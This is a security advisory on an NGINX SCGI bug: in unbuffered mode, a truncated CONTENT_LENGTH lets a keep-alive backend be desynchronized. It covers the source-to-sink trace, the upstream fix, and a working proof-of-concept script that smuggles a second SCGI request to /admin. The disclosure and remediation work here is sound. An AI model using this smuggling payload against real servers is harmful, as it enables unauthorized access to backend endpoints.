SCGI unbuffered mode sent truncated CONTENT_LENGTH causing backend desync
NGINX SCGI used buffered-prefix body length in unbuffered mode; fix now uses canonical content length inputs
Severity rating
MediumNo numeric base score was published with this disclosure.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Summary
Source
request_body_no_buffering enablement
src/http/modules/ngx_http_scgi_module.c:542
Sink
CONTENT_LENGTH serialization in ngx_http_scgi_create_request
src/http/modules/ngx_http_scgi_module.c:656
In the SCGI module, ngx_http_scgi_create_request() historically derived CONTENT_LENGTH by summing the currently buffered request-body chain (r->upstream->request_bufs). This behavior was introduced to support chunked-body accounting, but it becomes inaccurate when scgi_request_buffering off is used and the body is still streaming.
With unbuffered request forwarding, only an early body prefix may be available when SCGI headers are serialized. The emitted SCGI netstring can therefore advertise a smaller CONTENT_LENGTH than the client-declared body size. Downstream SCGI backends that keep connections open and parse trailing bytes as another request can become desynchronized.
Upstream NGINX accepted this as a protocol-framing bug and explicitly classified it as a regular bugfix (not an NGINX security issue), noting SCGI is specified as one request per connection. The fix development is tracked in PR #1118 and implemented in commit fe2d109.
Severity
- Attack vectorAV
- Network
- Attack complexityAC
- Low
- Privileges requiredPR
- None
- User interactionUI
- None
- ScopeS
- Unchanged
- ConfidentialityC
- High
- IntegrityI
- High
- AvailabilityA
- High
Metric values as published in the disclosure vector. Meters show how far each value raises exposure.
Source-to-sink trace
- Source · attacker-controlledsrc/
http/ modules/ ngx_http_scgi_module.c:542 request_body_no_buffering enablement
- Step 01src/
http/ modules/ ngx_http_scgi_module.c:542-547 When
scgi_request_buffering offis configured and a non-chunked request body is passed, SCGI switches to no-buffering mode and may start upstream request creation before the full body is read.cpp if (!scf->upstream.request_buffering && scf->upstream.pass_request_body && !r->headers_in.chunked) { r->request_body_no_buffering = 1; } - Step 02src/
http/ modules/ ngx_http_scgi_module.c:651-657 Legacy logic computed
content_length_nfrom only the currently buffered body chain, which can represent just a prefix in unbuffered mode.cpp content_length_n = 0; body = r->upstream->request_bufs; while (body) { content_length_n += ngx_buf_size(body->buf); body = body->next; } - Step 03src/
http/ modules/ ngx_http_scgi_module.c:659-661 That truncated number was serialized into SCGI
CONTENT_LENGTH, creating framing mismatch versus the full HTTP request body.cpp content_length.data = buffer; content_length.len = ngx_sprintf(buffer, "%O", content_length_n) - buffer; - Step 04src/
http/ modules/ ngx_http_scgi_module.c:656-668 (fix) Patch
fe2d109now prefers originalContent-Lengthheader value, thencontent_length_nfrom body filters, and finally0, aligning SCGI framing with canonical length sources.cpp if (r->headers_in.content_length) { content_length = r->headers_in.content_length->value; } else if (r->headers_in.content_length_n > 0) { content_length.data = buffer; content_length.len = ngx_sprintf(buffer, "%O", r->headers_in.content_length_n) - buffer; } else { ngx_str_set(&content_length, "0"); } - Sinksrc/
http/ modules/ ngx_http_scgi_module.c:656 CONTENT_LENGTH serialization in ngx_http_scgi_create_request
Impact
Reported impact
In affected backend implementations this can cause backend request desynchronization and request-smuggling-like behavior. NGINX maintainers classified the issue as a regular bugfix rather than a security vulnerability in NGINX itself, because SCGI specifies one request per connection and does not define semantics for extra bytes.
Attack surface
NGINX deployments using SCGI with scgi_request_buffering off and backends that keep connections alive while interpreting trailing bytes as additional SCGI requests.
Preconditions
Attacker can send a POST with explicit Content-Length and control body timing; backend behavior must be non-standard (or extension-like) by processing extra bytes as another request on the same connection.
Attack path
- 1
Send a crafted request whose initial body prefix arrives before upstream init, while the rest is delayed.
- 2
NGINX serializes SCGI with
CONTENT_LENGTHmatching only buffered prefix bytes. - 3
Delayed trailing bytes are forwarded after SCGI headers/body framing was fixed to the shorter length.
- 4
A permissive keepalive SCGI backend parses trailing bytes as a second request and executes attacker-controlled backend operations.
Proof of concept
- 01
Environment setup
Requirements: Python 3, C toolchain, and OpenSSL/PCRE2 dev libraries.
Build NGINX from source:
bash WORKDIR=/path/to/nginx-source cd "$WORKDIR" ./auto/configure --prefix="$WORKDIR/build" \ --with-http_ssl_module --with-http_v2_module make -j"$(sysctl -n hw.ncpu 2>/dev/null || getconf _NPROCESSORS_ONLN)" make install - 02
Target configuration
Create
nginx.conf(self-contained repro config):bash cat > nginx.conf <<'NGINX' worker_processes 1; error_log logs/error.log debug; pid logs/nginx.pid; events { worker_connections 1024; } http { include conf/mime.types; default_type application/octet-stream; access_log logs/access.log; upstream scgi_backend { server 127.0.0.1:9000; keepalive 1; } server { listen 8080; server_name localhost; location /scgi { include conf/scgi_params; scgi_pass scgi_backend; scgi_request_buffering off; scgi_pass_request_body on; } } } NGINXCreate
scgi_backend.py:bash cat > scgi_backend.py <<'PY' from __future__ import annotations import datetime import socket import socketserver RESPONSE = b'Status: 200 OK\r\nContent-Length: 2\r\n\r\nOK' def _read_all(sock: socket.socket, timeout: float = 3.0) -> bytes: sock.settimeout(timeout) out = bytearray() while True: try: chunk = sock.recv(4096) except socket.timeout: break if not chunk: break out += chunk return bytes(out) def _parse_headers(raw: bytes) -> dict[bytes, bytes]: parts = raw.split(b'\x00') return dict(zip(parts[0::2], parts[1::2])) class SCGIHandler(socketserver.BaseRequestHandler): def handle(self) -> None: sock: socket.socket = self.request raw = _read_all(sock) off = 0 seen = 0 while off < len(raw): i = raw.find(b':', off) if i == -1: break try: header_len = int(raw[off:i]) except ValueError: break hs = i + 1 he = hs + header_len if he + 1 > len(raw) or raw[he:he + 1] != b',': break headers = _parse_headers(raw[hs:he]) try: body_len = int(headers.get(b'CONTENT_LENGTH', b'0')) except ValueError: body_len = 0 bs = he + 1 be = bs + body_len if be > len(raw): break body = raw[bs:be] ts = datetime.datetime.utcnow().isoformat() print(f'[{ts}] SCGI request from {self.client_address}: headers={headers} body={body!r}', flush=True) seen += 1 off = be if off < len(raw): ts = datetime.datetime.utcnow().isoformat() print(f'[{ts}] Residual bytes from {self.client_address}: {raw[off:]!r}', flush=True) for _ in range(max(1, seen)): sock.sendall(RESPONSE) class ReusableTCPServer(socketserver.TCPServer): allow_reuse_address = True if __name__ == '__main__': with ReusableTCPServer(('127.0.0.1', 9000), SCGIHandler) as srv: print('SCGI demo backend listening on 127.0.0.1:9000', flush=True) srv.serve_forever() PY - 03
Exploit delivery
Create
poc_smuggle.py:bash cat > poc_smuggle.py <<'PY' from __future__ import annotations import socket import time HOST, PORT = '127.0.0.1', 8080 def build_scgi_netstring(headers: dict[bytes, bytes], body: bytes = b'') -> bytes: hb = b''.join(k + b'\x00' + v + b'\x00' for k, v in headers.items()) return str(len(hb)).encode('ascii') + b':' + hb + b',' + body def build_payload() -> tuple[bytes, bytes]: prefix = b'A' * 20 smuggled = build_scgi_netstring( { b'CONTENT_LENGTH': b'0', b'SCGI': b'1', b'REQUEST_METHOD': b'GET', b'REQUEST_URI': b'/admin', }, b'', ) body = prefix + smuggled req = ( f'POST /scgi HTTP/1.1\r\n' f'Host: localhost\r\n' f'Content-Length: {len(body)}\r\n' f'Connection: keep-alive\r\n' f'\r\n' ).encode('ascii') return req + prefix, smuggled def main() -> None: head, tail = build_payload() with socket.create_connection((HOST, PORT)) as s: print(f'[+] Connected to {HOST}:{PORT}') s.sendall(head) print(f'[+] Sent head ({len(head)} bytes), sleeping before tail...') time.sleep(1) s.sendall(tail) print(f'[+] Sent tail ({len(tail)} bytes)') print('[+] Response chunk #1:') print(s.recv(4096).decode('latin1', 'replace')) if __name__ == '__main__': main() PYRun end-to-end:
bash python3 scgi_backend.py > build/logs/scgi_backend.log 2>&1 & ./build/sbin/nginx -p "$(pwd)/build" -c "$(pwd)/nginx.conf" python3 poc_smuggle.py tail -n 10 build/logs/scgi_backend.logCleanup:
bash pkill -f scgi_backend.py ./build/sbin/nginx -p "$(pwd)/build" -c "$(pwd)/nginx.conf" -s stop - 04
Expected response
Backend logs show a first SCGI request with truncated
CONTENT_LENGTHfollowed by attacker-controlled residual bytes interpreted as a second request in permissive backends:text ... headers={b'CONTENT_LENGTH': b'20', ...} body=b'AAAAAAAAAAAAAAAAAAAA' ... headers={b'CONTENT_LENGTH': b'0', b'SCGI': b'1', b'REQUEST_METHOD': b'GET', b'REQUEST_URI': b'/admin'} body=b'' - 05
Outcome
The PoC demonstrates message-framing mismatch in unbuffered SCGI mode and backend desync risk when a backend accepts multiple parsed units on one connection.
Remediation
Guidance
Adopt canonical length sources when building SCGI requests: use original incoming Content-Length when present, else use filter-derived content_length_n, else 0. This is the approach merged in PR #1118 (fe2d109) and aligns SCGI framing for buffered and unbuffered body paths.
content_length_n = 0;body = r->upstream->request_bufs;while (body) {content_length_n += ngx_buf_size(body->buf);body = body->next;}content_length.data = buffer;content_length.len = ngx_sprintf(buffer, "%O", content_length_n) - buffer;if (r->headers_in.content_length) { content_length = r->headers_in.content_length->value;} else if (r->headers_in.content_length_n > 0) { content_length.data = buffer; content_length.len = ngx_sprintf(buffer, "%O", r->headers_in.content_length_n) - buffer;} else { ngx_str_set(&content_length, "0");}
Check the upstream record for the project's current remediation status.
Investigate the paths that matter in your codebase.
Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.
